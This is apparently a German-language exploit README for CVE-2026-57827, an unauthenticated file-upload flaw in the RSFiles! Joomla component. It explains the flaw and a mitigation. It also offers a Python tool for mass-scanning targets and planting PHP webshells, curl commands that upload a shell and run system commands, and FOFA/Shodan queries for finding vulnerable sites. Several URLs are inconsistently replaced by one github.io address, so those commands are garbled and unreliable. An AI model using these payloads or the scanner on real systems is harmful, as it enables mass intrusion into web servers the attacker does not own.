
Demonstriert die nicht authentifizierte Remote-Codeausführungs-Schwachstelle in der RSFiles!-Joomla-Komponente durch das Hochladen beliebiger Dateien.
CVE-2026-57827 ist eine Schwachstelle kritischer Schwere (CVSS 9.8) für nicht authentifizierten beliebigen Datei-Upload in RSFiles! (com_rsfiles), einer weit verbreiteten Dateimanager- und Download-Komponente für Joomla, in den Versionen < 1.17.12.
Die Schwachstelle nutzt einen Designfehler der Split-Controller-Architektur aus: RSFiles! trennt seinen Upload in zwei Frontend-Tasks auf — eine Vorabprüfung (Berechtigungsprüfung + Erweiterungs-Allow-List) und eine Schreibmethode (speichert die Datei auf der Festplatte). Die Schreibmethode kann direkt aufgerufen werden und umgeht dabei die Vorabprüfung vollständig. Keine Authentifizierung, kein CSRF-Token erforderlich.
| Version | Status |
|---|---|
| < 1.17.12 | Anfällig |
| 1.17.12+ | Gepatcht |
Entdeckt von: Phil Taylor, mySites.guru (10. Juli 2026) Hersteller: RSJoomla (rsjoomla.com) Komponente: com_rsfiles
RSFiles! verteilt seinen Upload auf zwei separate Frontend-Tasks in /components/com_rsfiles/controllers/rsfiles.php:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload aufzurufen und die Vorabprüfung vollständig zu umgehen.JFile::upload()), der standardmäßig jeden Dateityp akzeptiert..htaccess, die dort die PHP-Ausführung verhindern würde, ist eine Opt-in-Admin-Einstellung, die standardmäßig AUS ist.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
| Datei | Zweck |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | Controller mit verwundbaren upload()- und checkupload()-Tasks |
/components/com_rsfiles/views/upload/tmpl/upload.php | Frontend-Upload-Formular-Template (bestätigt: name="file", task=rsfiles.upload) |
/downloads/ | Standard-Downloads-Ordner im Web-Root (.htaccess-Schutz standardmäßig AUS) |
/briefcase/ | Briefcase-Ordner (ebenfalls beschreibbar) |
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
Die Sicherheitsprüfungen (Berechtigungs-Gate + Erweiterungs-Allow-List) sind ein separater Pre-Flight-Schritt von der Methode, die tatsächlich die Datei schreibt. Nur der erste enthält die Prüfungen. Der zweite — derjenige, der auf die Festplatte schreibt — könnte direkt aufgerufen werden, indem der richtige task-Parameter in der URL manipuliert wird, wodurch alle Sicherheitskontrollen umgangen werden.
Dies ist ein Lehrbuchbeispiel für das Anti-Pattern „Prüfungen und Aktionen an verschiedenen Stellen“: Die Schutzvorrichtung und die Operation, die sie schützen soll, sind entkoppelt, und ein Angreifer kann die Operation erreichen, ohne die Schutzvorrichtung zu passieren.
git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://candisexterior171.github.io
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
Schritt 1 — Die Shell hochladen
curl -X POST 'https://candisexterior171.github.io' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
Schritt 2 — Zugriff auf die Shell
curl 'https://candisexterior171.github.io'
Schritt 3 — Befehle ausführen
curl 'https://candisexterior171.github.io;hostname;uname -a'
Gegenmaßnahme (falls ein Update nicht möglich ist)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"